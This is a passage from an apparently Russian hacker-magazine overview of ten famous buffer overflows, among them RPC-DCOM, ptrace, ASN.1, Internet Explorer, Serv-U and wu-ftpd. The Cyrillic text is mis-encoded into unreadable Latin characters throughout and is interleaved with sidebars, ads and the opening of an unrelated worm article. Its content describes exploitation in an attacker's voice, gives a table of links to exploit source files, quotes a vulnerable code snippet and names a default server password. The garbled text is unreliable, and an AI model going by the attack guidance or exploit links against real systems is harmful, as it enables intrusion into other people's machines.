ïîëíåíèþ áóôåðà.

Íî çäåñü íå âñå òàê ãëàäêî, êàê êà-
æåòñÿ íà ïåðâûé âçãëÿä. Äëÿ òîãî
÷òîáû ïåðåäàòü àðãóìåíò API-ôóíê-

öèè, òðåáóåòñÿ ïîäìåíèòü "\\server-
name" íà ÷òî-ëèáî äðóãîå (èçíà÷àëü-
íî ýòî èìÿ ìàøèíû, ê êîòîðîé îñóùå-
ñòâëÿåòñÿ ðåêâåñò). Êðîìå òîãî, íåîá-
õîäèìî ó÷åñòü, ÷òî shell-êîä íå äîë-
æåí èìåòü îïðåäåëåííûõ ñèìâîëîâ,
ïî êîòîðûì ïðîèñõîäèò ïðîâåðêà â
ôóíêöèè GetMachineName(). Ýòî ðåà-
ëèçóåòñÿ ñ ïîìîùüþ ñïåöèàëüíî ïî-
äîáðàííûõ àäðåñîâ âîçâðàòà. Îíè çà-
âèñÿò îò âåðñèè îïåðàöèîííîé ñèñòå-
ìû, è, åñëè îíè ñãåíåðèðîâàíû íåâåð-
íî, RPC-ñåðâèñ àâàðèéíî çàâåðøèò
ðàáîòó.

Áüþñü îá çàêëàä, ÷òî òû áàëîâàëñÿ
RPC-DCOM ýêñïëîèòîì è îùóòèë, ÷òî
çíà÷èò íå óãàäàòü àäðåñ âîçâðàòà:
óäàëåííàÿ ñèñòåìà ñðàçó æå óõîäèëà
â äàóí. Êîãäà òàðãåò áûë âåðíûì, òû
ïîëó÷àë êîìàíäíûé shell.

Ïîäîáíîå ïåðåïîëíåíèå þçàëîñü
âèðìåéêåðàìè â äåòèùå msblast. Ýòîò
÷óäåñíûé ÷åðâü ñóìåë ïîïàñòü â òû-
ñÿ÷è ìàøèí è ñîâåðøèòü ãëîáàëüíóþ
àòàêó íà windowsupdate.com.

2. Ptrace stack overflow 
in kernel

Ïî öèôðîé äâà âûñòóïàåò áðåøü â
ëèíóêñîâîì ÿäðå. Êîíå÷íî, îíà èìååò
ëèøü ëîêàëüíûé õàðàêòåð ñòåêîâîãî
ïåðåïîëíåíèÿ, íî îøèáêó ñîäåðæàò
ïðàêòè÷åñêè âñå âåòêè ÿäåð 2.2 è 2.4.

Òàê æå, êàê è â ñëó÷àå ñ DCOM, íèê-
òî íå ñîáèðàëñÿ ðàñêðûâàòü ñóòü
óÿçâèìîñòè. Â áàãòðàêå ãîâîðèëîñü,
÷òî ptrace() ñîäåðæèò êîìïðîìåòèðó-
þùóþ óÿçâèìîñòü, âåäóùóþ ê ëî-
êàëüíîìó ðóòó. Îäíàêî ÷åðåç íåñ-

êîëüêî äíåé íåêèé Àíäæåé Øîìáå-
ðñêè èç Ïîëüøè ïîñ÷èòàë ñâîèì äîë-
ãîì ðàñêðûòü ïîäðîáíîñòè ýòîé óÿç-
âèìîñòè. Óäà÷íîå ïåðåïîëíåíèå âîç-
ìîæíî, åñëè:

- ÿäðî ñîáðàíî ñ ïîääåðæêîé ïîäê-
ëþ÷åíèÿ âíåøíèõ ìîäóëåé;

- â êåðíåëå äîñòóïíî èñïîëüçîâàíèå
ôóíêöèè ptrace();

- çàãðóç÷èê ìîäóëåé äîñòóïåí è íà
íåãî ñòîèò ññûëêà â /proc/sys/ker-
nel/modprobe.

Äîïóñòèì, ÷òî âñå òðè óñëîâèÿ âû-
ïîëíÿþòñÿ (â 99% ñëó÷àåâ ýòî òàê è
åñòü). Çíàÿ, ÷òî êåðíåë ñàì èçìåíÿåò
EUID, ìîæíî ïðèñîåäèíèòü ñîáñòâåí-
íûé ïðîöåññ ê óæå ñóùåñòâóþùåìó.
Ïðè ýòîì â ñòåê çàãðóçèòñÿ shell-êîä,
èñêóñíûé áýêäîð èëè äðóãèå âðåä-
íûå âåùè.

Ñïóñòÿ ãîä, êîãäà î áàãå óæå çàáûëè,
êàê î ñòðàøíîì ñíå, ïîÿâèëàñü åùå
îäíà íàïàñòü. Êàê âñåãäà, ïðîãðàììèñ-
òû íåýôôåêòèâíî ïîôèêñèëè áðåøü.
Â èòîãå, åñëè íàïëîäèòü íåñêîëüêî
ïðîöåññîâ, ê îäíîìó èç íèõ ìîæíî
ïðèñîåäèíèòü "ëåâûé" ïðîöåññ. Ñ âû-
òåêàþùèìè ïîñëåäñòâèÿìè è êîìàíä-
íûì shell'îì.

Âûâîä: Linux íå òàêîé óæ è çàùè-
ùåííûé, êàê êàæåòñÿ íà ïåðâûé
âçãëÿä, ïîðîé îò êåðíåëîâûõ óÿçâè-
ìîñòåé îõîòà çàñòðåëèòüñÿ :). Òàê ÷òî,
åñëè æåëàåøü àáñîëþòíîé áåçîïàñ-
íîñòè, ñòàâü ïàò÷è îò ptrace().

3. ASN.1 heap overflow
Äàííûé áàã ïîÿâèëñÿ íå òàê äàâíî.

Áäèòåëüíî ïðîàíàëèçèðîâàâ ðàáîòó
çàùèùåííîé áèáëèîòåêè MSASN1.DLL,
âõîäÿùåé â ñåêóðíûé êîìïëåêò ASN
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Áàã ptrace()
îõâàòûâàåò
áîëüøîå
÷èñëî ÿäåð
â âåòêàõ
2.2, 2.4 è
2.6.

Ñóùåñòâóåò
íåñêîëüêî
âåðñèé
ýêñïëîèòîâ
äëÿ RPC-
DCOM. Òû
ñìîæåøü
íàéòè èõ íà
ñâîåì ëþ-
áèìîì ñàéòå
www.xakep.ru.

Áàæíûé DCOM

Ëîêàëüíûé ðóò çà ïîëìèíóòû

ÄÅÑßÒÊÀ ÑÀÌÛÕ-ÑÀÌÛÕ40 ÎÑÍÎÂÛ



(Abstract Syntax Notation One), êîìïà-
íèÿ eEyes îáíàðóæèëà øîêèðóþùóþ
áðåøü. Îøèáêà â ïðîöåññå ASN.1 äå-
êîäèðîâàíèÿ ïîçâîëÿëà õàêåðó ïåðå-
çàïèñàòü ó÷àñòîê ïàìÿòè è âûïîëíèòü
íåêîòîðûé êîä. Åñëè âñìîòðåòüñÿ â
îñîáåííîñòè ðàáîòû áèáëèîòåêè, òî
ìîæíî ïîíÿòü ïðèíöèï áàãà: â ïðîòî-
êîëå ñóùåñòâóåò íåêîòîðàÿ ôóíêöèÿ,
âûäåëÿþùàÿ áëîê ïàìÿòè ïîä äàí-
íûå. Åé ïåðåäàåòñÿ íåîáõîäèìàÿ äëè-
íà ýòîãî áëîêà. Ïðè ýòîì þçåð íå ìî-
æåò çàäàòü äëèíó îò ôîíàðÿ: åñòü
ôóíêöèè, ïðîâåðÿþùèå äîñòîâåð-
íîñòü äàííûõ. eEyes íàøëà ñïîñîá
ïîäñòàâèòü òàêîå çíà÷åíèå ïàðàìåò-
ðà, ïðè êîòîðîì óêàçàòåëü íà ïàìÿòü
"ïðîåäåò" äîïóñòèìîå 32-áèòíîå àä-
ðåñíîå ïîëå è çàíèìàåò íóëåâóþ ïî-
çèöèþ (èíòåðâàë äëèíû îò
0xFFFFFFFD äî 0xFFFFFFFF). Â ïðîòèâ-
íîì ñëó÷àå ìû ïîëó÷èì ïðîñòîå öåëî-
÷èñëåííîå ïåðåïîëíåíèå, ðåçóëüòà-
òîì êîòîðîãî áóäåò àâàðèéíîå çàâåð-
øåíèå àòàêóåìîé ñëóæáû (èìåííî ïî
òàêîìó ïðèíöèïó ðàáîòàëè DoS'åðû
äëÿ ASN.1). Åñëè æå âñå-òàêè ïîñòó-
ïèòü õèòðûì îáðàçîì è ñìåñòèòü ïî-
èíòåð äî íóëÿ, ìîæíî âñòàâèòü îïðå-
äåëåííûé êîä íà îïðåäåëåííóþ ïîçè-
öèþ ïàìÿòè (êîòîðóþ àòàêóþùèé, åñ-
òåñòâåííî, áóäåò çíàòü). Â èòîãå, shell-
êîä óñïåøíî âûïîëíèòñÿ, à ñëóæáà
áóäåò ôóíêöèîíèðîâàòü â îáû÷íîì
ðåæèìå. Åñëè òåáÿ èíòåðñóþò ïîäðîá-
íîñòè, òîïàé íà
http://www.securitylab.ru/42702.html. 

Óÿçâèìîñòü â ASN.1 ïðèçíàíà secu-
ritylab'îì ñàìûì õèòîâûì áàãîì â
Windows èç-çà òîãî, ÷òî ïðîòîêîë èñ-
ïîëüçóåòñÿ íå òîëüêî â ñàìèõ ôîð-
òî÷êàõ, íî è â ïðèëîæåíèÿõ Mozilla,
Internet Explorer è â ñîôòå äëÿ IP-òå-
ëåôîíèè. Êñòàòè, âñå íîâûå ýêñïëîè-
òû äëÿ ñëóæáû lsass.dll (à òàêæå ïðî-

öåññ ðàçìíîæåíèÿ ÷åðâÿ Saccer) îñ-
íîâàíû íà áðåøè â ASN.1.

4. do_brk() kernel overflow
Îïÿòü Linux è îïÿòü êåðíåë. Â êîíöå

íîÿáðÿ ïðîøëîãî ãîäà îáíàðóæèëàñü
áðåøü â ÿäðå, ÷åðåç êîòîðóþ áûë
ïðîèçâåäåí âçëîì íåñêîëüêèõ êðóï-
íûõ Debian-ñåðâåðîâ. Êàê îêàçàëîñü,
ïàðàìåòðû ÿäåðíîé ôóíêöèè do_brk()
íå ïðîâåðÿëèñü íà ðàçìåð. Ýòî âëåê-
ëî çà ñîáîé ïåðåïîëíåíèå áóôåðà.
Òåõíè÷åñêè ýòî âûãëÿäèò ñëåäóþùèì
îáðàçîì: do_brk() ðàáîòàë íàïðÿìóþ ñ
ïàìÿòüþ, îäíàêî ðàçìåð ïàìÿòè, êîòî-
ðûé ìîæåò èñïîëüçîâàòü îáû÷íûé
ïîëüçîâàòåëü, êîíòðîëèðîâàëñÿ, ìÿã-
êî ãîâîðÿ, íå î÷åíü õîðîøî. Â èòîãå,
ìèíîâàâ ó÷àñòîê ïîëüçîâàòåëüñêîãî
ïðîñòðàíñòâà, çëîóìûøëåííèê ìîã ïå-

ðåçàïèñàòü çîíó ïàìÿòè ñòîðîííåãî
ïðèâèëåãèðîâàííîãî ïðîöåññà äî êó-
÷è, âûïîëíèâ ñîáñòâåííûé shell-êîä.

Ýòà ôóíêöèÿ ñëóæèëà ëèøü íà÷à-
ëîì âñåõ áåä. Ïîñëå do_brk() ïîÿâè-
ëèñü mremap() è munmap(), êîòîðûå
áàçèðóþòñÿ íà îáùåì mmap()-âûçî-
âå. Â êîíöå êîíöîâ, áàã çàïàò÷èëè, íî
äàëåêî íå âñå àäìèíû ïðèìåíÿþò âû-
ïóùåííûå áàãôèêñû.

5. mIRC buffer overflow
Ñ ÿäðàìè ñèñòåì ðàçîáðàëèñü.

Ïðèøëî âðåìÿ îçíàêîìèòüñÿ ñ áàãàìè
â ïîïóëÿðíîì ñîôòå. Ñàìûì áåçîïàñ-
íûì IRC-êëèåíòîì âñåãäà ñ÷èòàëñÿ
mIRC. Â íåì ïðàêòè÷åñêè íèêîãäà íå
íàõîäèëè ñåðüåçíûõ îøèáîê. 11 îêòÿá-
ðÿ 2003 ãîäà ëþáîïûòíûå õàêåðû îá-
íàðóæèëè ïåðåïîëíåíèå áóôåðà â
ïðîöåäóðå DCC-ïåðåäà÷è. Äåëî â òîì,
÷òî èìÿ ôàéëà íå êîíòðîëèðóåòñÿ íà
ðàçìåð - òèïè÷íûé íåäî÷åò, âåäóùèé
ê ïåðåïîëíåíèþ áóôåðà. Â èòîãå, åñ-
ëè õàêåð ïîäñòàâèò â êà÷åñòâå èìåíè
áîëüøóþ ïîñëåäîâàòåëüíîñòü âèäà
"x x x x x...", çàêàí÷èâàþùóþñÿ ñèìâî-
ëîì ñ ASCII-êîäîì 1, êëèåíò ñðàçó æå
îòáðîñèò êîïûòà. Â ñâåæèõ ðåëèçàõ
áàã ÿêîáû ïîôèêñèëè, íî îêîí÷àòåëü-
íûé ôèêñ îáúÿâèëè òîëüêî ñ âûõîäîì
ïîñëåäíåé âåðñèåé êëèåíòà (6.14).

6. Half-Life buffer overflow
Ñëåäóþùèì õèòîâûì áàãîì ÿâëÿ-

åòñÿ áðåøü â ïðîòîêîëå îáìåíà
Half-Life. Êàê òû çíàåøü, â ïðîâàé-
äåðñêèõ ñåòÿõ ÷àñòî âñòðå÷àþòñÿ òà-
êèå ñåðâåðà. Ïåðåïîëíåíèþ ïîäâåð-
æåíû êàê êëèåíòû, òàê è ìàøèíû íà
áàçå FreeBSD. Åñëè ïðèêèíóòüñÿ
ñâîèì HL-ñåðâàêîì, ñòàðàòåëüíî
ðàçðåêëàìèðîâàòü åãî â ëàìåðñêèõ
÷àòàõ, à çàòåì çàïóñòèòü ñïåöèàëü-
íûé ýêñïëîèò, ó êëèåíòà Õàëôà ñîð-
âåò êðûøó :). Ñ ïîìîùüþ êðèâûõ ïà-
êåòîâ ñåðâåð ïåðåïîëíÿåò áóôåð ó
ìàøèíû ëàìåðà è çàïóñêàåò êîìàíä-
íûé shell.
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Åñëè õî-
÷åøü îáåçî-
ïàñèòü ñåáÿ
îò
mIRC'îâîé
îøèáêè, íî
ëåíü äåëàòü
àïäåéò, âû-
ïîëíè êî-
ìàíäó
/ignore -wd *.

Íåäàâíÿÿ
óÿçâèìîñòü
â âèíäîâîì
SSL îáóñ-
ëîâëåíà
òåì, ÷òî
ïðîòîêîë
èñïîëüçóåò
áàæíûå
ôóíêöèè
áèáëèîòåêè
ASN.1.

Îøèáêà â lsass.dll áàçèðóåòñÿ íà áàãå â
ASN.1

Èñïîëüçóåì áðåøü â do_brk() Ýêñïëîèò äëÿ óáèéñòâà êëèåíòîâ

Ëîêàëüíûé ðóò ÷åðåç Half-Life

Ïîäâåäåì èòîãè ýòîãî îáçîðà. Âñìîòðèñü â òàáëèöó è óâèäèøü
âñå äîêóìåíòèðîâàííûå èñòî÷íèêè è ññûëêè íà ýêñïëîèòû. Âäîáà-
âîê ÿ îöåíèë ðàññìîòðåííûå óÿçâèìîñòè ïî 10-áàëëüíîé øêàëå.

ÐÅÇÞÌÅ

¹¹ ÓÓÿÿççââèèììîîññòòüü BBuuggTTrraaqq ÝÝêêññïïëëîîèèòò ÎÎööååííêêàà

1 RPC-DCOM http://www.security.nnov.ru/sea
rch/document.asp?docid=4899

http://www.security.nnov.ru
/files/w2krpcdos.c 10

2 ptrace() http://www.security.nnov.ru/sea
rch/document.asp?docid=2106

http://kamensk.net.ru/forb/
isec.c 8

3 ASN.1 http://www.securitylab.ru/427
02.html

http://kamensk.net.ru/forb/1
/x/lsasrv.c 9

4 do_brk() http://security.nnov.ru/search
/document.asp?docid=5475

http://www1.xakep.ru/post/
20623/dobrk.txt 7

5 mIRC http://www.irchelp.org/irchelp
/mirc/exploit.html

http://kamensk.net.ru/forb/1
/x/mirc-dos.tar.gz 6

6 Half-Life http://www.securitylab.ru/?ID
=40144

http://www.security.nnov.ru
/files/pu-hl.c 5

7 Internet Explorer http://www.securitylab.ru/428
43.html

http://www.securitylab.ru/4
2844.html 7

8 Shoutcast http://security.nnov.ru/search
/document.asp?docid=5346

http://www1.xakep.ru/post/1
4351/shoutdown.01.tar 7

9 SERV-U http://www.securitylab.ru/447
16.html

http://www.securitylab.ru/4
4716.html 6

10 Wu-Ftpd http://securitylab.ru/40948.html http://securitylab.ru/40948
.html 7



Åñëè èñïîëüçîâàòü ýêñïëîèò äëÿ
FreeBSD HL-ñåðâåðà, òî ìû ïîëó÷èì
ðóòîâûé /bin/sh. Ñïëîèò ñêîìïðîìåòè-
ðóåò ñåðâåð ê ïåðåïîëíåíèþ, ïóëÿÿñü
â íåãî êðèâûìè UDP-ïàêåòàìè. Ýòàêèé
çàáàâíûé ñåðâåðíûé Half-Life ;).

7. Buffer overflows in Internet
Explorer

Íàêîíåö ìû äîáðàëèñü äî íàøåãî
ëþáèìîãî îñëèêà ;). Â íåì òîæå áûëè
íàéäåíû ãðåøêè ïðîãðàììèñòîâ
Microsoft. Â îñëå îáíàðóæèëè íå îäíó,
à äàæå íåñêîëüêî ñìåðòåëüíûõ áàãîâ.

Ïåðâîé óÿçâèìîñòüþ ÿâëÿåòñÿ ïåðå-
ïîëíåíèå, âåäóùåå ê ïåðåçàïèñè ñïå-
öèàëüíûõ ðåãèñòðîâ è ïîñëåäóþùåé
ïîð÷å âèíäîâîãî ðååñòðà. Êàê òû çíà-
åøü, â IE ïðèìåíèìà êîíñòðóêöèÿ âè-
äà file://c:\filename. Ïðè ýòîì íèêòî íå
ìåøàåò ïîäñòàâèòü âìåñòî c: øåñòíàä-
öàòåðè÷íîå çíà÷åíèå (íàïðèìåð, xff).
Ýòî íîâîââåäåíèå ïðèâåäåò ê èíòå-
ðåñíîé ñèòóàöèè: ïåðåçàïèøóòñÿ òðè
ðåãèñòðà ECX EDX è EDI. Êîãäà ýòî ñëó-
÷èòñÿ, ñèñòåìíûå çàïèñè â ðååñòðå ïî-
ëåòÿò ê ÷åðòîâîé ìàòåðè :). Ïîñëå ýòî-
ãî IE íàîòðåç îòêàæåòñÿ îòîáðàæàòü
ëþáóþ çàïðîøåííóþ ñòðàíèöó (îòìàç
áóäåò âûãëÿäåòü ñëåäóþùèì îáðàçîì:
"You cant access this file, path, drive.
Permission Denied"). Òîëüêî ïåðåóñòà-
íîâêà IE èçáàâèò þçåðà îò òàêîãî íà-
çîéëèâîãî îêíà.

Êàê âûÿñíèëîñü, îñëèêà òàêæå òîø-
íèò îò ãðå÷åñêèõ ñèìâîëîâ :). Åñëè
ñäåëàòü èíòåðåñíûé çàïðîñ âèäà
about:áîëåå_2_òûñÿ÷_ãðå÷åñêèõ_ñèì-
âîëîâ, âûëåçåò îêíî ñ èíôîé î ïåðå-
ïîëíåíèè. Òî æå îêîøêî ìîæíî ïîÿ-
âèòñÿ, åñëè ïîäñòàâèòü ñèìâîëû â
http-ññûëêó. Íè÷òî íå ìåøàåò õàêåðó
ñìàñòåðèòü ñòðàíè÷êó, êîòîðàÿ áóäåò
óáèâàòü IE ó íåðàäèâûõ ïîñåòèòåëåé.
Áðåøü ìîæåò ïðîÿâèòüñÿ è â ìèðíîå
âðåìÿ, êîãäà ïîëüçîâàòåëü ñåðôèò
êàêîé-íèáóäü áóðæóéñêèé èíåò-ìàãà-
çèí (èìåííî îá ýòîì ãëàñèë ïåðâîèñ-
òî÷íèê óÿçâèìîñòè).

È, íàêîíåö, ñàìûé ñâåæèé áàã, êîòî-
ðûé îáíàðóæèëñÿ ïîñëå àíàëèçà
÷åñòíî ñïèîíåðåííûõ èñõîäíèêîâ
Windows. Ñ ïîìîùüþ Internet Explorer
ìîæíî âûïîëíèòü ïðîèçâîëüíûé êîä,
ïåðåïîëíèâ áóôåð. Áðåøü äîñòàòî÷-
íî ïðîñòàÿ: çëîóìûøëåííèê äîëæåí
ñêîíñòðóèðîâàòü ñïåöèàëüíî îáðàáî-
òàííûé bitmap-ôàéë. Êîãäà òàêîé
ôàéë áóäåò çàãðóæåí â áðàóçåð óøàñ-
òîãî ëàìåðà, âîçíèêíåò ïåðåïîëíåíèå
áóôåðà. Èçúÿí íàøëè â êîäå

'win2k/private/inet/mshtml/src/site/do
wnload/imgbmp.cxx'.

8. Shoutcast heap overflow 
Åùå îäíà õèòðàÿ óÿçâèìîñòü íàø-

ëàñü â ïðîåêòå Shoutcast. Âñå íà÷à-
ëîñü ñ òîãî, ÷òî õàêåð ñ íèêîì HEX çà-
ìåòèë âîçìîæíîñòü ïåðåïîëíåíèÿ
çíà÷åíèé ïåðåìåííûõ icy-name è icy-
desc (èìÿ è îïèñàíèå ñåðâèñà), ïåðå-
äàþùèõñÿ ÷åðåç Web. Èõ ðàçìåð, êàê
îáû÷íî, íå êîíòðîëèðîâàëñÿ. ×åðåç
íåñêîëüêî äíåé ïîñëå ýòîãî êîìïàíèÿ
m00-security íàêîëáàñèëà âèíäîâûé
ýêñïëîèò. Ïðè÷åì ñûðöû ýòîãî ñïëîè-
òà õðàíèëèñü â ñòðîæàéøåé òàéíå, äî
òåõ ïîð ïîêà õàêåð íå âûëîæèë src-
êîä, ïðèâîäÿùèé ê êðàõó ëèíóêñîâûé
Shoutcast.

Åäèíñòâåííûì ñïàñåíèåì ÿâëÿåòñÿ
òî, ÷òî áåç çíàíèÿ ïàðîëÿ, çàäàâàåìî-
ãî ïðè êîíôèãóðàöèè ñåðâåðà, õàêåð
íå ñìîæåò ïåðåïîëíèòü áóôåð. Îäíà-
êî äåôîëòîâûé ïàññâîðä âûãëÿäèò
êàê "changeme" è, êàê íè ñòðàííî,
þçàåòñÿ ìíîãèìè àäìèíàìè. Åñëè âåð-
ñèÿ äåìîíà - ñòàðøå 1.9.2, ïåðåïîë-
íèòü áóôåð óæå íå óäàñòñÿ.

9. Serv-U buffer overflows
Òåïåðü ïîãîâîðèì îá FTP-ñåðâåðàõ.

Âèíäîâûé Serv-U, ñëàâèâøèéñÿ ñòà-
áèëüíîñòüþ, èçðÿäíî ïîäïîðòèë ñåáå
ðåïóòàöèþ. Áàãîèñêàòåëè íàøëè öå-
ëûõ òðè óÿçâèìîñòè, êîòîðûå ïðèâî-
äÿò ëèáî ê êðàõó ñåðâåðà, ëèáî ê ïî-
ëó÷åíèþ àáñîëþòíûõ ïðàâ íà ìàøè-
íå. Ðàññìîòðèì ýòè áðåøè ïîäðîáíåå.

Ïåðâàÿ äûðêà çàòàèëàñü â êîìàíäå
CHMOD, èçìåíÿþùåé ïðàâà íà ôàé-
ëû. Åå ïàðàìåòð îãðàíè÷åí ëèøü 256
áàéòàìè, íî ýòî îãðàíè÷åíèå íèêòî íå
ïðîâåðÿåò. À, êàê èçâåñòíî, ÷òî íå

çàïðåùåíî, òî ðàçðåøåíî. Âîò è ñòàëè
ïîäñòàâëÿòü õàêåðû âìåñòî ðåàëüíî-
ãî ôàéëà âñÿêóþ ôèãíþ. Â èòîãå, áó-
ôåð ïåðåïîëíÿëñÿ, à shell-êîä, ãðàìîò-
íî ïåðåäàííûé ñåðâåðó, âûïîëíÿëñÿ
íà óðà. Ïî ïîíÿòíûì ïðè÷èíàì çëîó-
ìûøëåííèê ïîëó÷àë êîìàíäíûé shell
íà ëåâîì ïîðòó. Åñëè ïî êàêèì-òî ïðè-
÷èíàì àäðåñ âîçâðàòà áûë ïîäîáðàí
íåâåðíî, âçëîìùèê ïðîñòî îñòàíàâëè-
âàë ðàáîòó Serv-U.

Íå óñïåëè äåâåëîïåðû ïîôèêñèòü
ýòîò áàã, êàê õàêåðû íàøëè åùå îäèí.
Íà ýòîò ðàç íåâåðíàÿ îáðàáîòêà êî-
ìàíäû LIST -l ñ ïîäñòàâíûì ïàðàìåò-
ðîì â 134 áàéòà óáèâàëà Serv-U. Óáèé-
ñòâî ñåðâàêà ìîæíî áûëî îñóùåñò-
âèòü äàæå áåç ýêñïëîèòà, âðó÷íóþ.
Îäíàêî ê îïèñàíèþ ïðèâîäèëñÿ ïîë-
íîöåííûé ïåðëîâûé ñïëîèò.

Âñêîðå áàãîèñêàòåëè îòêîïàëè òðå-
òèé èçúÿí - â ôóíêöèè MDTM. Ýòà êî-
ìàíäà îòîáðàæàåò âðåìÿ ñîçäàíèÿ
ôàéëà. Îøèáêà çàêëþ÷àåòñÿ â òîì,
÷òî ðàçìåð ýòîãî ôàéëà íå ìîæåò ïðå-
âûøàòü 256 áàéò. Êîãäà õàêåð ïåðåäà-
åò ñëèøêîì äëèííûé àðãóìåíò, ïðîèñ-
õîäèò ïåðåïîëíåíèå áóôåðà. Ïîñëåä-
ñòâèé ìîæåò áûòü äâà: ëèáî îñóùåñò-
âèòñÿ êîððåêòíàÿ ïåðåäà÷à shell-êîäà
(ñ ïîñëåäóþùèì îòêðûòèåì ïîðòà),
ïðèìåíèìîãî äëÿ îïðåäåëåííîé ÎÑ,
ëèáî ñåðâèñ ïðîñòî óéäåò â äàóí.

Èç âñåãî ýòîãî ìîæíî ñäåëàòü îäèí
âûâîä: õàêåðû âñåðüåç çàíÿëèñü èçó-
÷åíèåì Serv-U. È â íîâûõ ðåëèçàõ áó-
äóò íàéäåíû ïîäîáíûå îøèáêè.

qP. Wu-ftpd buffer overflow
È, íàêîíåö, ïðèøëî âðåìÿ äëÿ ñàìî-

ãî áàæíîãî ïðîåêòà - wu-ftpd
(ôòïä'øíèê, êîòîðûé ïèñàëñÿ â Âàøè-
íãòîíñêîì óíèâåðñèòåòå). Êàæäûé

Ñ ïîìîùüþ Internet Explorer ìîæíî
âûïîëíèòü ïðîèçâîëüíûé êîä,

ïåðåïîëíèâ áóôåð.
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Åñëè òû âñå
åùå þçà-
åøü áàæíûé
SERV-U,
íåìåäëåííî
îòïðàâëÿé-
ñÿ íà
www.serv-
u.com è îá-
íîâëÿé äå-
ìîí.

Îñåë IE ñëà-
âèòñÿ ñâîè-
ìè ïåðåïîë-
íåíèÿìè.
Ïîëíûé èõ
ñïèñîê òû
ìîæåøü
íàéòè íà
securitylab.ru.
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Íå äóìàé, ÷òî õàêåðû îòêîïàëè òîëüêî äåñÿòü ïåðåïîëíåíèé. Íà
ñàìîì äåëå èõ òûñÿ÷è, íî ÿ âûáðàë ëèøü ñàìûå õèòîâûå è, ïî áîëü-
øåé ÷àñòè, àêòóàëüíûå äî ñèõ ïîð. Äåéñòâèòåëüíî, íàéòè â èíåòå
æåðòâó, ïîäâåðæåííóþ îäíîé èç äåñÿòêè óÿçâèìîñòåé, - êàê äâà
áàéòà ïåðåñëàòü. Íî íå âçäóìàé óáåæäàòüñÿ â ýòîì - ñòàðøèé áðàò
ñëåäèò çà òîáîé ;).

ÇÀ ÐÀÌÊÀÌÈ ÎÁÇÎÐÀ

Ìíîæåñòâî ïåðåïîëíåíèé â áðàóçåðå

Äûðà â ñåðâåðå Shoutñast

Ñèìïàòè÷íàÿ ìîðäî÷êà Serv-U



ïðîñâåùåííûé ÷åëîâåê çíàåò, ÷òî íå ñóùåñòâóåò ðåëèçà, â
êîòîðîì õàêåðû íå íàøëè áû îøèáîê :). Âïðî÷åì, ïðåäïîñ-
ëåäíÿÿ âåðñèÿ ñåðâåðà ïðîäåðæàëàñü áåç àòàê äîâîëüíî
ïðîäîëæèòåëüíîå âðåìÿ. Íî, îïÿòü æå, áàãîèñêàòåëè îáíà-
ðóæèëè áðåøü â SKEY-îáìåíå, ïðèâîäÿùóþ ê ïåðåïîëíå-
íèþ áóôåðà è ïîëó÷åíèþ àáñîëþòíûõ ïðàâ. Ïåðåïîëíåíèå
íàéäåíî â ôóíêöèè skey_challenge(). Ïðèâîæó êóñîê êîäà
src/skey_challenge.c:

if (pwd == NULL || skeychallenge(&skey, pwd->pw_name, sbuf)) 
sprintf(buf, "Password required for %s.", name);

else
sprintf(buf, "%s %s for %s.", sbuf, pwok ? "allowed" : "required",

name); 
/* ïåðåìåííàÿ name íå ïðîâåðÿåòñÿ íà ðàçìåð */
return (buf);

Äàæå ÿ ñìîã óçðåòü âîçìîæíîñòü ïåðåïîëíåíèÿ. Êóäà
ñìîòðÿò âàøèíãòîíñêèå ïðîãðàììèñòû - îäíîìó Áîãó èçâå-
ñòíî.

ÝÒÎ ÊÎÍÅÖ?
Ê ñîæàëåíèþ, àáñîëþòíîé çàùèòû îò ïåðåïîëíåíèé íå

ñóùåñòâóåò. Âîçìîæíî, ÷òî â ñàìûõ ñòàáèëüíûõ è çàùè-
ùåííûõ ïðîòîêîëàõ æäåò ñâîåãî ÷àñà ñìåðòåëüíàÿ óÿçâè-
ìîñòü. Êàæäûé äåíü êàêîé-íèáóäü õàêåð íàõîäèò ïåðåïîë-
íåíèå áóôåðà èëè ñòåêà. Ðàäóåò, ÷òî ñîôò, â êîòîðîì íàõî-
äèòñÿ áðåøü, íå î÷åíü ïîïóëÿðåí. Îäíàêî èç ýòîãî îáçîðà
âèäíî, ÷òî èíîãäà overflow âñòðå÷àåòñÿ â êðóïíûõ è î÷åíü
ïîïóëÿðíûõ ïðèëîæåíèÿõ. E

Ýêñïëóàòèðóåì Âèíäó ñ áàæíûì FTPD

Íàëîæè ïàò÷... èëè ñìåíè FTPD ;)

WWW.GAMEPOST.RU

www.gamepost.ru www.e-shop.ru

Ñ ÄÎÑÒÀÂÊÎÉ ÍÀ ÄÎÌ

ÈÃÐÛ
ÏÎ ÊÀÒÀËÎÃÀÌ



ÓÒÐÀ×ÅÍÍÎÅ ÇÂÅÍÎ
×åðâè îòíîñÿòñÿ ê íàèáî-

ëåå íåçàâèñèìûì îáèòàòåëÿì
êèáåðíåòè÷åñêîãî ìèðà. Èõ ïî-
ÿâëåíèå óõîäèò ñâîèìè êîðíÿ-

ìè â ãëóáîêóþ äðåâíîñòü, êîãäà çåìëåé ïðà-
âèëè äèíîçàâðû - îãðîìíûå è íåïîâîðîòëè-
âûå ëàìïîâûå ÝÂÌ, èçäàþùèå ïðè ðàáîòå
óæàñíûé òðåñê è ñêðåæåò. Ïèîíåðû êîìïüþ-
òåðíîé èíäóñòðèè - â ïðîøëîì íåáðèòûå ñòó-
äåíû ñ íåóòîëèìîé æàæäîé äåÿòåëüíîñòè, à
íûíå ñîòðóäíèêè ðåñïåêòàáåëüíûõ êîðïîðà-
öèé - àêòèâíî ýêñïåðèìåíòèðîâàëè ñ áèîêè-
áåðíåòè÷åñêèìè ìîäåëÿìè, ïðîðî÷à èì áîëü-
øîå áóäóùåå. Âî âðåìÿ ñòàíîâëåíèÿ èíôîð-
ìàòèêè êàê íàóêè Íàñòîÿùèå Ïðîãðàììèñòû
(Real Programmer), íåóòîìèìûå ýíòóçèàñòû,
ñâÿòî âåðèëè, ÷òî åùå ÷óòü-÷óòü è ãðîõî÷ó-
ùåå ñîçäàíèå ïðèîáðåòåò èíòåëëåêò, à âìåñ-
òå ñ íèìè - íàâûêè ñàìîñîâåðøåíñòâîâàíèÿ
è ñàìîðàçìíîæåíèÿ. Â òî âðåìÿ ïîíÿòèÿ "âè-
ðóñ" åùå íå ñóùåñòâîâàëî, è íèêòî íå âèäåë
â áèîêèáåðíåòè÷åñêèõ ìåõàíèçìàõ íè÷åãî
ïîðî÷íîãî. Î íèõ ãîâîðèëè â êóðèëêàõ, èõ îá-
ñóæäàëè íà íàó÷íîì óðîâíå, èì âûäåëÿëîñü
